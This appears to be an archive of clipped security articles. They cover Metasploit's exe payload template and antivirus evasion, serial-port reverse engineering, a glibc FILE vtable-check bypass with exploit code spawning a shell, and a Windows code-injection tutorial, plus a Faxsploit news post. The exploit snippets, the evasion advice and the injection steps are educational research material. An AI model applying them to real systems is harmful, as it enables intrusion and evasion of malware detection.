code and code is just in a new section rather than replacing old code\) the
function then finds the executable \(.text\) section. Then it lists the
addresses that will be modified by the loader into an array called mines:  
`  
# We need to make sure our injected code doesn't conflict with the  
# the data directories stored in .text (import, export, etc)  
mines = []  
pe.hdr.opt['DataDirectory'].each do |dir|  
next if dir.v['Size'] == 0  
next if not text.contains_rva?( dir.v['VirtualAddress'] )  
mines << [ pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg,
dir.v['Size'] ]  
end  
`  
It then finds, out of the remaining blocks, an executable block of sufficient
size to store the payload with room to spare. Then it creates a sled of nops,
and somewhat randomizes the entry point to land in them. At the end of the
nops is a relative jump to the payload:  
`  
# Pad the entry point with random nops  
entry = generate_nops(framework, [ARCH_X86], rand(200)+51)  
...`

` `

` # Relative jump from the end of the nops to the payload  
entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')  
`  
Then it randomly changes 25% of the remaining executable bytes and the
timestamp, and fixes the checksum.

So in summary, the exe's entry point is a random sequence of certain opcodes
in the nop sled which does not look like a standard exe entry routine,
followed by a jump to the win32\_rwx\_exec generated block of code that is
identical to a metasploit shellcode block with some random nop and simple jmp
instructions scattered inside. Then, if the antivirus engine can follow the
jump to a dynamically, externally generated address, it will see the encoded
payload, which will likely be much harder to distinguish than the previous
block of code. In other words, if the AV is going to detect the exe as
malicious, it is much easier to catch the code before the encoded payload than
the encoded payload itself.

To demonstrate this, I used msfencode to generate an exe without any payload
at all:  
`echo -n | msfencode -e generic/none -t exe > myn.exe  
[*] generic/none succeeded with size 0 (iteration=1)  
`  
Despite the fact that there was no payload, upon uploading the VirusTotal,
still 20 out of 41 antivirus engines, or 48.8% identified the file as
malicious. See the report for yourself here.

To avoid this detection, just write your own exe or modify the source of an
existing exe to get RWX memory, copy the payload into it, and execute it in a
new way. Of course metasploit could do this, but then the antivirus companies,
in their quest to enumerate badness, would identify whatever way metasploit
used, and repeat ad nauseam. So have a little creativity yourself.

Oh, and by the way, msfencode is not useless, and neither are these encoders.
They are both valuable for manually creating payloads to avoid certain bad
characters, or evade an IDS in an exploit. These options just are not useful
when creating an exe.

# Reverse Engineering Serial Ports - /dev/ttyS0

**Created:**| _11/7/2012 6:16:40 PM_  
---|---  
**Updated:**| _11/7/2012 6:16:40 PM_  
**Author:**| __  
**Tags:**| __  
  

# Reverse Engineering Serial Ports

By Craig  | November 1, 2012 - 2:15 am  | Embedded Systems , Hardware , Tutorials 
Given the name of this blog and the number of requests that I’ve had, I think
it’s high time we discussed serial ports; specifically, serial ports in
embedded systems.

My goal here is to describe the techniques that I’ve found effective in
identifying and reverse engineering embedded serial ports through the use of
definitive testing and educated guesses, and without the need for expensive
equipment.

* * *
# Introduction

Serial ports are extremely useful to embedded developers, who commonly use
them for:

  * Accessing the boot loader
  * Observing boot and debug messages
  * Interacting with the system via a shell

Needless to say, this functionality is also useful to hackers, so finding a
serial port on an embedded device can be very advantageous. As a case study,
we’ll be examining the PCB of a Westell 9100EM FiOS router for possible serial
ports:

<img src='img/Temp2_6883.jpg' width='300' height='200' />

Westell 9100EM PCB

Now, these aren’t your dad’s RS-232 serial ports that we’re looking for; these
are Universal Asynchronous Receiver Transmitters \(UARTs\), commonly found in
embedded devices. Although protocol compatible, RS-232 and UART are not
voltage compatible \(from here on out I will use the terms “UART” and “serial
port” interchangeably\). UARTs most commonly operate at 3.3 volts, but can
also be found operating at other standard voltages \(5, 1.8, etc\).

Unfortunately there aren’t any industry standardized UART pin outs, and
manufacturers don’t often go around advertising or documenting their debug
interfaces, so we’ll need to do a bit of work in order to interface with these
serial ports. Specifically, we need to reverse engineer both the hardware
interface and the software protocol settings.

Let’s start with the hardware interface first. For this, you’ll need a
multimeter and a pair of eyeballs \(or even one will do just fine\). Yes,
oscilloscopes and logic analyzers are useful and sometimes necessary, but 99%
of the time a trusty multimeter and a bit of knowledge is all you need.

* * *
# Identifying Serial Headers

The first step is to try to identify potential candidates for serial port
headers. Most serial port headers have at a minimum four pins:

  * Vcc
  * Ground
  * Transmit
  * Receive

Typically you’ll want to look for a single row of 4-6 pins, although this is
not a hard and fast rule and they can come in any pin configuration the
manufacturer has decided on.

On our 9100EM PCB we find two possible candidates, labeled P1402 and P1404:

<img src='img/Temp2_6880.jpg' width='300' height='200' />

Possible serial port headers

Sometimes you won’t have a nicely broken out set of pins like this, and you’ll
have to examine test points on the board; usually starting with test points
closest to the SoC is a good idea. Here is an example of a serial port exposed
via test points on a different board, the WL530G :

<img src='img/Temp2_6885.jpg' width='300' height='224' />

Serial port test points on a WL530G

In either case the process of pin identification is the same, but usually
takes longer if there is no header since there will likely be more than 4 test
points on the board that you will need to examine.

At this point either P1402 or P1404 could be serial port headers. Or they
could both be serial port headers. Or neither could be a serial port header.
So we’ll examine the pins on each header individually to try to gain some
insight.

* * *
# Visual Inspection

First, let’s visibly inspect the pins. We’ll start by taking a look at P1402:

<img src='img/Temp2_6886.jpg' width='749' height='311' />

P1402 top

<img src='img/Temp2_6882.jpg' width='902' height='406' />

P1402 bottom

On the top layer of the PCB the right most pin is labeled as pin “1″. This is
not terribly important, but it gives a common frame of reference when
describing the pin numbers.

On the bottom of the PCB we see that pin 3 has four traces in a crosshair
pattern that connect it to the surrounding ground plane. This easily
identifies pin 3 as ground.

Pins 2 and 4 have thin traces connected to them, while pin 1 is connected to a
fatter trace. Wide traces are typically used for supplying power, while narrow
traces are usually used for signal traces. This suggests that pin 1 is Vcc and
pins 2 and 4 are potentially transmit and receive \(although we don’t yet know
which is which\).

Let’s take a look at the P1404 header now:

<img src='img/Temp2_6884.jpg' width='800' height='407' />

P1404 top

<img src='img/Temp2_6881.jpg' width='896' height='229' />

P1404 bottom

Here, the left most pin is marked as pin 1. Again, we see that pin 3 is
connected to ground on the bottom layer of the PCB. Pin 4 also has a thin
trace connected to it, so it could be a transmit or receive pin.

The other two pins of P1404 however have no visible traces connected to them
on either the top or bottom layers of the PCB. It could be that they aren’t
connected to anything, but more likely their traces are connected on one of
the inner layers of the PCB that we can’t see. Time to break out the
multimeter.

* * *
# Identifying Grounded Pins

A continuity test introduces a small current into the circuit; if enough
current passes from one probe to the other \(i.e., there is sufficiently
little resistance\), the multimeter will emit an audible tone indicating that
the points that the probes are touching are electrically connected.

The first thing we want to do is perform a continuity test between ground and
all the pins on each of the headers using the multimeter. This will tell us
which pins are connected directly to ground. We’ll start with P1402.

Metal shielding is a convenient ground point to use for testing. Placing one
probe on a shield and touching the other to pin 3, the multimeter emits a
continuous audible tone, indicating that pin 3 is connected to ground as we
previously observed:

# FILE Structure Exploitation \('vtable' check bypass\)

**Created:**| _3/7/2018 8:50:13 AM_  
---|---  
**Updated:**| _3/7/2018 8:50:13 AM_  
**Author:**| _wishi_  
**Tags:**| _C++ file-handler_  
  

  

# FILE Structure Exploitation \('vtable' check bypass\)

Jan 12, 2018 • Dhaval Kapil

> ## Introduction
‘FILE’ structure exploitation is one of the common ways to gain control over
execution flow. The attacker overwrites a ‘FILE’ pointer \(say stdin, stdout,
stderr or any other file handler opened by `fopen()`\) to point to his/her own
forged structure. This structure contains `vtable`, which is a pointer to a
table which contains functions which are called when the original ‘FILE’
pointer is used to perform different operations \(such as `fread`, `fwrite`,
etc.\). However, checks have recently been incorporated in `libc` that place a
restriction on `vtable` to protect against most of the attacks.

Kees Cook has written an informative article about ‘Abusing the FILE
structure’. This technique will no longer work in the patched libc. Another
possible way to exploit the ‘FILE’ structure is to forge the `read`, `write`
pointers instead of the `vtable`. This technique is highlighted by Angelboy in
his presentation: Play with FILE Structure - Yet Another Binary Exploit
Technique.

In this post, I’ll be describing the protection mechanism introduced recently
in libc and a possible way to bypass it. We’ll not only get RIP control, but
also control over the the first three parameters in RDI, RSI and RDX
respectively. I’ll be only targeting the `vtable` pointer.

> ## Prerequisites
It is assumed that the reader is familiar with the current `FILE` structure
and the common \(though now obsolete\) attack on `vtable`. The following two
resources \(same as mentioned previously\) are sufficient to get the necessary
background:

  * Abusing the FILE structure
  * Play with FILE Structure - Yet Another Binary Exploit Technique

> ## Protection mechanism
Two new functions have been added to protect against tampering with the
`vtable` pointer: `IO_validate_vtable` and `_IO_vtable_check`. Every vtable
reference is first passed through `IO_validate_vtable` \(which internally uses
`_IO_vtable_check`\). In case tampering is detected, the program aborts,
otherwise the corresponding `vtable` pointer is returned.

[code]

    /*
      IO_validate_vtable
      Source: https://code.woboq.org/userspace/glibc/libio/libioP.h.html#IO_validate_vtable
     */
    
    /* Perform vtable pointer validation.  If validation fails, terminate
       the process.  */
    static inline const struct _IO_jump_t *
    IO_validate_vtable (const struct _IO_jump_t *vtable)
    {
      /* Fast path: The vtable pointer is within the __libc_IO_vtables
         section.  */
      uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
      const char *ptr = (const char *) vtable;
      uintptr_t offset = ptr - __start___libc_IO_vtables;
      if (__glibc_unlikely (offset >= section_length))
        /* The vtable pointer is not in the expected section.  Use the
           slow path, which will terminate the process if necessary.  */
        _IO_vtable_check ();
      return vtable;
    }
    
[/code]

The function checks whether the `vtable` pointer lies inside the
`__libc_IO_vtables` section or not. If not, it further check the pointer by
calling `_IO_vtable_check`. This section contains some vtables of the type
`_IO_jump_t` \(source\). The original `vtable` is also part of it.

[code]

    /*
      _IO_vtable_check
      Source: https://code.woboq.org/userspace/glibc/libio/vtables.c.html#_IO_vtable_check
    */
    
    void attribute_hidden
    _IO_vtable_check (void)
    {
    #ifdef SHARED
      void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
    #ifdef PTR_DEMANGLE
      PTR_DEMANGLE (flag);
    #endif
      if (flag == &_IO_vtable_check)
        return;
      {
        Dl_info di;
        struct link_map *l;
        if (_dl_open_hook != NULL
           || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
                && l->l_ns != LM_ID_BASE))
          return;
      }
    #else /* !SHARED */
      if (__dlopen != NULL)
        return;
    #endif
      __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
    }
    
[/code]

> ## Attack
In this attack, we will make the FILE’s `vtable` point to some other place
\(useful\), which is already inside the `__libc_IO_vtables` section. This will
pass the security check. I came across this attack while going through a CTF
writeup. The `_IO_str_jumps` is also part of this section \(source\). It
contains a pointer to the function `_IO_str_overflow` which is useful for our
purpose.

[code]

    /* Source: https://code.woboq.org/userspace/glibc/libio/strops.c.html#_IO_str_overflow
    */
    
    _IO_str_overflow (_IO_FILE *fp, int c)
    {
      int flush_only = c == EOF;
      _IO_size_t pos;
      if (fp->_flags & _IO_NO_WRITES)
          return flush_only ? 0 : EOF;
      if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
        {
          fp->_flags |= _IO_CURRENTLY_PUTTING;
          fp->_IO_write_ptr = fp->_IO_read_ptr;
          fp->_IO_read_ptr = fp->_IO_read_end;
        }
      pos = fp->_IO_write_ptr - fp->_IO_write_base;
      if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
        {
          if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
            return EOF;
          else
        {
          char *new_buf;
          char *old_buf = fp->_IO_buf_base;
          size_t old_blen = _IO_blen (fp);
          _IO_size_t new_size = 2 * old_blen + 100;
          if (new_size < old_blen)
            return EOF;
          new_buf
            = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
    
            /* ^ Getting RIP control !*/
    
[/code]

We shall overwrite the `vtable` in such a manner so that instead of calling
the regular ‘FILE’ associated function, `_IO_str_overflow` would be called.
Since we can already forge `fp`, we can control the execution flow, along with
the first three parameters in this line:

[code]

    (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
    
[/code]

`fp->_s._allocate_buffer` is at a fixed offset within `fp` and `new_size` is
being calculated from the members of `fp`. The offset can be calculated by
reversing the binary or through gdb. In my case, the offset was `0xe0`, which
is directly after `vtable` pointer. `new_size` is calculated as follows:

[code]

    #define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
    size_t old_blen = _IO_blen (fp);
    _IO_size_t new_size = 2 * old_blen + 100;
    
[/code]

Hence, we can craft any ‘even’ value for `new_size` by setting appropriate
`_IO_buf_end` and `_IO_buf_base`. For instance, if we want `new_size` to be
equal to `x`, set `_IO_buf_base = 0` and `_IO_buf_end = (x - 100)/2`. However,
we also have to pass a check before arriving at the particular call
instruction:

[code]

    int flush_only = c == EOF;
    pos = fp->_IO_write_ptr - fp->_IO_write_base;
    if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
    
[/code]

`flush_only` is 0, so we want `pos >= _IO_blen(fp)`. This can be achieved by
setting `_IO_write_ptr = (x - 100)/2` and `_IO_write_base = 0`.

Regarding the second and third parameters, let’s reverse the binary at
assembly level and trace back the registers `rsi` and `rdx` before the call
instruction:

[code]

    mov     rdx, [rdi+28h]
    mov     rsi, rdx
    sub     rsi, [rdi+20h]
    
[/code]

`rdi + 0x28` matches with `fp->_IO_write_ptr`. `rdi + 0x20` matches with
`_IO_write_base`. Note that we already have a restriction that `_IO_write_ptr
- _IO_write_base` should be greater than or equal to `(rdi - 100)/2`. Hence,
we cannot have arbitrary values for `rsi` and `rdx`.

Now, with this let’s try our own exploit. Consider the vulnerable code:

[code]

    /* gcc vuln.c -o vuln */
    
    #include <stdio.h>
    #include <unistd.h>
    
    char fake_file[0x200];
    
    int main() {
      FILE *fp;
      puts("Leaking libc address of stdout:");
      printf("%p\n", stdout); // Emulating libc leak
      puts("Enter fake file structure");
      read(0, fake_file, 0x200);
      fp = (FILE *)&fake_file;
      fclose(fp);
      return 0;
    }
    
[/code]

Here is the link to the above mentioned code. You might want to work with the
same binary and libc that I used. I am running it on Ubuntu 16.04.

The program first simulates a leak of an address in libc. It then takes input
in a global variable `fake_file` and points the file pointer `fp` to it. Next,
it closes the file pointer using `fclose(fp)`.

The first step towards developing the exploit is to realize the target that we
want to achieve. Namely, calling `system("/bin/sh")`. I shall be using
pwntools library. The binary comes with a libc leak, making it easier for us
to calculate the address of `system` and the string `/bin/sh` within the libc.

[code]

    rip = libc_base + libc.symbols['system']
    rdi = libc_base + next(libc.search("/bin/sh"))
    
[/code]

Our next step is to point `vtable` to some address, such that, `fclose` will
actually call `_IO_str_overflow`. I used gdb to find the relative offset of a
pointer to `_IO_str_overflow` from `_IO_file_jumps`, which apparently is
`0xd8` for the provided libc. Now, if I point the `vtable` to `0x10` bytes
before it, `fclose` will call `_IO_str_overflow` \(again from gdb\).

[code]

    io_str_overflow_ptr_addr = libc_base + libc.symbols['_IO_file_jumps'] + 0xd8
    # Calculate the vtable by subtracting appropriate offset
    fake_vtable_addr = io_str_overflow_ptr_addr - 2*8
    
[/code]

Next, we can craft our fake ‘FILE’ structure by setting appropriate `vtable`
and also other pointers so as to call `rip` with `rdi` as a parameter.

[code]

    # Craft file struct
    file_struct = pack_file(_IO_buf_base = 0,
                            _IO_buf_end = (rdi-100)/2,
                            _IO_write_ptr = (rdi-100)/2,
                            _IO_write_base = 0,
                            _lock = bin.symbols['fake_file'] + 0x80)
    # vtable pointer
    file_struct += p64(fake_vtable_addr)
    # (*((_IO_strfile *) fp)->_s._allocate_buffer)
    file_struct += p64(rip)
    file_struct = file_struct.ljust(0x100, "\x00")
    
[/code]

Note that we also have to set `fp->_lock` to an address pointing to `NULL` to
prevent `fclose` waiting on someone else for releasing the lock. The complete
exploit can be downloaded here.

_Note_ : Another possible function \(instead of `_IO_str_overflow`\) that one
could use is `_IO_wstr_finish()` as seen in this post by Josh Wang.

> ## Conclusion
Given that an attacker has control over a few fields of the ‘FILE’
structure\(for `rdi`\), the `vtable` pointer and 8 bytes after it \(for
`rip`\), the additional check on `vtable` offers not much protection.

Find me on Github and Twitter

  

# System Programming: Executable Code Injection the Interesting Way

**Created:**| _12/18/2011 4:48:13 PM_  
---|---  
**Updated:**| _12/18/2011 4:48:13 PM_  
**Author:**| __  
**Tags:**| _code-injection_  
  

### Executable Code Injection the Interesting Way

So. Executable code injection. In general, this term is associated with
malicious intent. It is true in many cases, but in, at least, as many, it is
not. Being malware researcher for the most of my career, I can assure you,
that this technique appears to be very useful when researching malicious
software, as it allows \(in most cases\) to defeat its protection and gather
much of the needed information. Although, it is highly recommended not to use
such approach, sometimes it is simply unavoidable.

  

There are several ways to perform code injection. Let's take a look at them.

  

**DLL Injection**

The most simple way to inject a DLL into another process is to create a remote
thread in the context of that process by passing the address of the
LoadLibrary API as a ThreadProc. However, it appears to be unreliable in
modern versions of Windows due to the address randomization \(which is
currently not true, but who knows, may be once it becomes real
randomization\).

  

Another way, a bit more complicated, implies a shell code to be injected into
the address space of another process and launched as a remote thread. This
method offers more flexibility and is described here.

  

**Manual DLL Mapping**

Unfortunately, it has become fashionable to give new fancy names to the old
good techniques. Manual DLL Mapping is nothing more than a complicated code
injection. Why complicated, you may ask - because it involves implementation
of custom PE loader, which should be able to resolve relocations. Adhering the
Occam's Razor principle, I take the responsibility to claim, that it is much
easier and makes more sense to simply allocate memory in another process using
VirtualAllocEx API and inject the position independent shell code.

  

**Simple Code Injection**

As the title of this section states, this is the simplest way. Allocate a
couple of memory blocks in the address space of the remote process using
VirtualAllocEx \(one for code and one for data\), copy your shell code and its
data into those blocks and launch it as a remote thread.

  

All the methods listed above are covered well on the Internet. You may just
google for "code injection" and you will get thousands of well written
tutorials and articles. My intention is to describe a more complex, but also a
more interesting way of code injection \(in a hope that you have nothing else
to do but try to implement this\).

  

Before we start:

_Another note for nerds._

  * _The code in this article does not contain any security checks unless it is needed as an example._
  * _This is not malware writing tutorial, so I do not care whether the AV alerts when you try to use this method._
  * _No, manual DLL mapping is not better ;-\)._
  * _Neither do I care about how stable this solution is. If you decide to implement this, you will be doing it at your own risk._

Now, let's have some fun.

  

  

  

  

**Disk vs Memory Layout**

Before we proceed with the explanation, let's take a look at the PE file
layout, whether on disk or in memory, as our solution relies on that.

  

<img src='img/Temp2_7814.png' />

This layout is logically identical for both PE files on disk and PE files in
memory. The only differences are that some parts may not be present in memory
and, the most important for us, on disk items are aligned by "File Alignment"
while in memory they are aligned by "Page Alignment" values, which, in turn
may be found in the Optional Header. For full PE COFF format reference check
here.

  

Right now, we are particularly interested in sections that contain executable
code \(\(SectionHeader.characteristics & 0x20000020\) \!= 0\). Usually, the
actual code does not fill the whole section, leaving some parts simply padded
by zeros. For example, if our code section only contains 'ExitProcess\(0\)',
which may be compiled into 8 bytes, it will still occupy FileAlignment bytes
on disk \(usually 0x200 bytes\). It will take even more space in memory, as
the next section may not be mapped closer than this\_section\_virtual\_address
\+ PageAlignement  \(in this particular case\), which means that if we have
0x1F8 free bytes when the file is on disk, we'll have 0xFF8 free bytes when
the file is loaded in memory.

The "formula" to calculate available space in code section is
next\_section\_virtual\_address - \(this\_section\_virtual\_address +
this\_section\_virtual\_size\) as virtual size is \(usually\) the amount of
actual data in section. Remember this, as that is the space that we are going
to use as our injection target.

It may happen, that the target executable does not have enough spare space for
our shell code, but let this not bother you too much. A process contains more
than one module \(the main executable and all the DLLs\). This means that you
can look for spare space in the code sections of all modules. Why only code
sections? Just in order not to mess too much with memory protection.

  

**Shellcode**

The first and the most important rule for shellcode - it MUST be position
independent. In our case, this rule is especially unavoidable \(if you may say
so\) as it is going to be spread all over the memory space \(depends on the
size of your shell code, of course\).

  

The second, but not less important rule - carefully plan your code according
to your needs. The less space it takes, the easier the injection process would
be.

  

Let's keep our shell code simple. All it would do is interception of a single
API \(does not matter which one, select whichever you want from the target
executable's import section\), and show a message box each time that API is
called \(you should probably select ExitProcess for interception if you do not
want the message box popping up all the time\).  
  
  
Divide your shellcode into independent functional blocks. By independent, I
mean that it should not have any direct or relative calls or jumps. Each block
should have one data field, which would contain the address of the table
containing addresses of all our functions \(and data if needed\). Such
mechanism would allow us to spread the code all over the available space in
different modules without the need to mess with relocations at all.  
  
  

<img src='img/Temp2_7813.png' />

The picture on the left and the diagram below will help you to better
understand the concept.  
Init \- our initialization function. Once the code is injected, you would want
to call this function as a remote thread.  
Patch \- this block is responsible for actually patching the import table with
the address of our Fake.  
  
  
The code in each of the above blocks will have to access Data in order to
retrieve addresses of functions from other blocks.

  

Your initialization procedure would have to locate the KERNEL32.DLL in memory
in order to obtain the addresses of LoadLibrary \(yes, it would be better to
use LoadLibrary rather then GetModuleHandle\), GetProcAddress and
VirtualProtect API functions which are crucial even for such a simple task as
patching one API call. Those addresses would be stored in Data.

<img src='img/Temp2_7812.png' />

  

**The Injector**

While the shellcode is pretty trivial \(at least in this particular case\),
the injector is not. It will not allocate memory in the address space of
another process \(if possible, of course\). Instead, it will parse the the PEB
\(Process Environment Block\) of the victim in order to get the list of loaded
modules. Once that is done, it will parse section headers of every module in
order to create list of available memory locations \(remember, we prefer code
sections only\) and fill the Data block with appropriate addresses. Let's take
a look at each step.  
  
  
First of all, it may be a good idea to suspend the process by calling SuspendThread function on each of its threads. You may want to read this post about threads enumeration. One more thing to remember is to open the victim process with the following flags: PROCESS\_VM\_READ | PROCESS\_VM\_OPERATION | PROCESS\_VM\_WRITE | PROCESS\_QUERY\_INFORMATION | PROCESS\_SUSPEND\_RESUME in order to be able to perform all the following operations. The function itself is quite simple:  
  
  
**DWORD** **WINAPI** SuspendThread\(**\_\_in** **HANDLE** hThread\);  
  
  
Don't forget to resume all threads with ResumeThread once the injection is
done.  
  
  
The next step would be calling the NtQueryInformationProcess function from the
ntdll.dll. The only problem with it is that it has no associated import
library and you will have to locate it with
GetProcAddress\(GetModuleHandle\("ntdll.dll"\), "NtQueryInformationProcess"\),
unless you have a way to explicitly specify it in the import table of your
injector. Also, try LoadLibrary if the GetModuleHandle does not work for you.  
  
  
**NTSTATUS** **WINAPI** NtQueryInformationProcess\(  
**\_\_in** **HANDLE** ProcessHandle,  
**\_\_in** **PROCESSINFOCLASS** ProcessInformationClass, _/\* Use 0 in order
to_  
_get the PEB address \*/_  
**\_\_out** **PVOID** ProcessInformation,  _/\* Pointer to the
PROCESS\_BASIC\_INFORMATION_  
_structure \*/_  
**\_\_in** **ULONG** ProcessInformationLength, _/\* Size of the
PROCESS\_BASIC\_INFORMATION_  
_structure in bytes \*/_  
**\_\_out\_opt** **PULONG** ReturnLength  
\);  
  
  
**typedef** **struct** **\_PROCESS\_BASIC\_INFORMATION**  
\{  
**PVOID** ExitStatus;  
**PPEB** PebBaseAddress;  
**PVOID** AffinityMask;  
**PVOID** BasePriority;  
**ULONG\_PTR** UniqueProcessId;  
**PVOID** InheritedFromUniqueProcessId;  
\} **PROCESS\_BASIC\_INFORMATION** ;

  

The NtQueryInformationProces will provide you with the address of the PEB of
the victim process. This post will explain you how to deal with PEB content.
Of course, you will not be able to access the that content directly \(as it is
in the address space of another process\), so you will have to use
WriteProcessMemory and ReadProcessMemory functions for that.

  
  
**BOOL** **WINAPI** WriteProcessMemory\(  
**\_\_in** **HANDLE** hProcess,  
**\_\_in** **LPVOID** lpBaseAddress,  _/\* Address in another process \*/_  
**\_\_in** **LPCVOID** lpBuffer,  _/\* Local buffer \*/_  
**\_\_in** **SIZE\_T** nSize,  _/\* Size of the buffer in bytes \*/_  
**\_\_out** **SIZE\_T** \* lpNumberOfBytesWritten  
\};  
  
  
**BOOL** **WINAPI** ReadProcessMemory\(  
**\_\_in** **HANDLE** hProcess,  
**\_\_in** **LPCVOID** lpBaseAddress, _/\* Address in another process \*/_  
**\_\_out** **LPVOID** lpBuffer,  _/\* Local buffer \*/_  
**\_\_in** **SIZE\_T** nSize,  _/\* Size of the buffer in bytes \*/_  
**\_\_out** **SIZE\_T** \* lpNumberOfBytesRead  
\};

  
  
Due to the fact that you are going to deal with read only memory locations,
you should call VirtualProtectEx in order to make those locations writable
\(PAGE\_EXECUTE\_READWRITE\). Don't forget to restore memory access
permissions to PAGE\_EXECUTE\_READ when you are done.

  
  
**BOOL** **WINAPI** VirtualProtectEx\(  
**\_\_in** **HANDLE** hProcess,  
**\_\_in** **LPVOID** lpAddress, _/\* Address in another process \*/_  
**\_\_in** **SIZE\_T** dwSize,  _/\* Size of the range in bytes \*/_  
**\_\_in** **DWORD** flNewProtect, _/\* New protection \*/_  
**\_\_out** **PDWORD** lpflOldProtect  
\};

  

You may also want to change the VirtualSize of those sections of the victim
process you used for injection in order to cover the injected code. Just
adjust it in the headers in memory.

  
  
That's all folks. Let me leave the hardest part \(writing the code\) up to you
this time.  
  
  
Hope this post was interesting and see you at the next.

# Assembley Language | Life of a Penetration Tester
**Created:**| _5/12/2011 8:31:45 PM_  
---|---  
**Updated:**| _5/12/2011 8:31:45 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

# Assembley language

## Assembley lanugage for Penetration Testers

Jul 1st

Posted by Punter in Assembley language

No comments

Assembley lanugage for Penetration tester

Below are the useful resources to learn Assembley Language for pentesters to
start learning Exploit writing

http://www.skullsecurity.org/wiki/index.php/Assembly

Linux Assembley

http://asm.sourceforge.net/  
Programming From the Ground Up

http://download.savannah.gnu.org/releases-noredirect/pgubook/

Iczelion’s Win32 Assembly Homepage  
http://win32assembly.online.fr/

Art of Assembly

http://homepage.mac.com/randyhyde/webster.cs.ucr.edu/index.html

first 5 chapters is enough

Intel Developer Manuals  
http://www.intel.com/products/processor/manuals/

Assembly Language Primer for Hackers Videos

Assembly Primer for Hackers \(Part 1\) System Organization  
http://securitytube.net/Assembly-Primer-for-Hackers-%28Part-1%29-System-
Organization-video.aspx

Assembly Primer for Hackers \(Part 2\) Virtual Memory Organization  
http://securitytube.net/Assembly-Primer-for-Hackers-%28Part-2%29-Virtual-
Memory-Organization-video.aspx

Assembly Primer for Hackers \(Part 3\) GDB Usage Primer  
http://securitytube.net/Assembly-Primer-for-Hackers-\(Part-3\)-GDB-Usage-
Primer-video.aspx

Assembly Primer for Hackers \(Part 4\) Hello World  
http://securitytube.net/Assembly-Primer-for-Hackers-\(Part-4\)-Hello-World-
video.aspx

Assembly Primer for Hackers \(Part 5\) Data Types  
http://securitytube.net/Assembly-Primer-for-Hackers-\(Part-5\)-Data-Types-
video.aspx

Assembly Primer for Hackers \(Part 6\) Moving Data  
http://securitytube.net/Assembly-Primer-for-Hackers-\(Part-6\)-Moving-Data-
video.aspx

Assembly Primer for Hackers \(Part 7\) Working with Strings  
http://securitytube.net/Assembly-Primer-for-Hackers-\(Part-7\)-Working-with-
Strings-video.aspx

http://securitytube.net/Assembly-Primer-for-Hackers-\(Part-8\)-Unconditional-
Branching-video.aspx

Assembly Primer for Hackers \(Part 9\) Conditional Branching  
http://securitytube.net/Assembly-Primer-for-Hackers-\(Part-9\)-Conditional-
Branching-video.aspx

Assembly Primer for Hackers \(Part 10\) Functions  
http://securitytube.net/Assembly-Primer-for-Hackers-\(Part-10\)-Functions-
video.aspx

Assembly Primer for Hackers \(Part 11\) Functions Stack  
http://securitytube.net/Assembly-Primer-for-Hackers-\(Part-11\)-Functions-
Stack-video.aspx

# Faxsploit – Exploiting A Fax With A Picture

**Created:**| _5/10/2019 8:14:23 AM_  
---|---  
**Updated:**| _5/10/2019 8:14:23 AM_  
**Author:**| __  
**Tags:**| _attacks Exploit Threat-modeling_  
  

  

# Faxsploit – Exploiting A Fax With A Picture

26 Comments

  * by:
Pedro Umbelino

May 4, 2019

  *   *   * 

<img src='img/Temp2_3103.png' width='622' height='268' />

Security researchers have found a way to remotely execute code on a fax
machine by sending a specially crafted document to it. So… who cares about
fax? Well apparently a lot of persons are still using it in many institutions,
governments and industries, including the healthcare industry, legal, banking
and commercial. Bureaucracy and old procedures tend to die hard.

This is one of those exploits that deserve proper attention, for many reasons.
It is well documented and is a great piece of proper old school hacking and
reverse engineering. \[Eyal Itkin\], \[Yannay Livneh\] and \[Yaniv Balmas\]
show us their process in a nicely done article that you can read here. If you
are into security hacks, it’s really worth reading and also worth watching the
DEFCON video. They focused their attention in a all-in-one printer/scanner/fax
and the results were as good as it gets.

> “Our research set out to ask what would happen if an attacker, with merely a
> phone line at his disposal and equipped with nothing more than his target\`s
> fax number, was able to attack an all-in-one printer by sending a malicious
> fax to it.
> In fact, we found several critical vulnerabilities in all-in-one printers
> which allowed us to ‘faxploit’ the all-in-one printer and take complete
> control over it by sending a maliciously crafted fax. ”
As the researchers note, once an all-in-one printer has been compromised, it
could be used to a wide array of malicious activity, from infiltrating the
internal network, to stealing printed documents even to mining Bitcoin. In
theory they could even produce a fax worm, replicating via the phone line.

The attack summary video is bellow, demonstrating an exploit that allows an
attacker to pivot into an internal network and taking over a Windows machine
using Eternal Blue NSA exploit.

Just to show how legacy a tech fax is, did you know that the first
experimental fax machine dates back to 1843? Yep, you read that right, even
before the first phone line.

Posted in Security HacksTagged defcon, exploit, fax, faxsploit

# DEF CON® Hacking Conference - DEFCON 17 Media Archives

**Created:**| _11/16/2009 10:15:32 AM_  
---|---  
**Updated:**| _11/16/2009 10:15:41 AM_  
**Author:**| __  
**Tags:**| _conference-material_  
  

<img src='img/Temp2_1820.png' alt='DEFCON Logo' />

  * Community  
Hackers Unite

    * DEF CON Groups  
Meet Local Hackers

      * DCG Spotlight  
What DCGroups are Doing

      * DCG Listing  
Domestic & International

      * DCG General FAQ  
What's it All About?

      * DCG POC FAQ  
Want to Start a DCG?

    * DEF CON Forums  
Discuss Hacker Topics

    * DEF CON Pics  
Share DEF CON Photos

    * Events  
Calendar of Events

  * About  
Who We Are, What We Do

    * The Dark Tangent  
Our Founder

    * FAQ  
What's it All About?

      * General FAQ  
The Official Word

      * Unofficial FAQ  
The Community Version

    * Goons  
Don't Poke the Bear

    * Contact  
How to Get in Touch

  * Resources  
Hacker Brain Food

    * Mailing Lists  
Join the Conversation

    * Reading List  
Good Reads

    * Sites We Like  
Sites That Don't Suck

  * The Hard Drive  
DEF CON Preserved

    * Archives By Show  
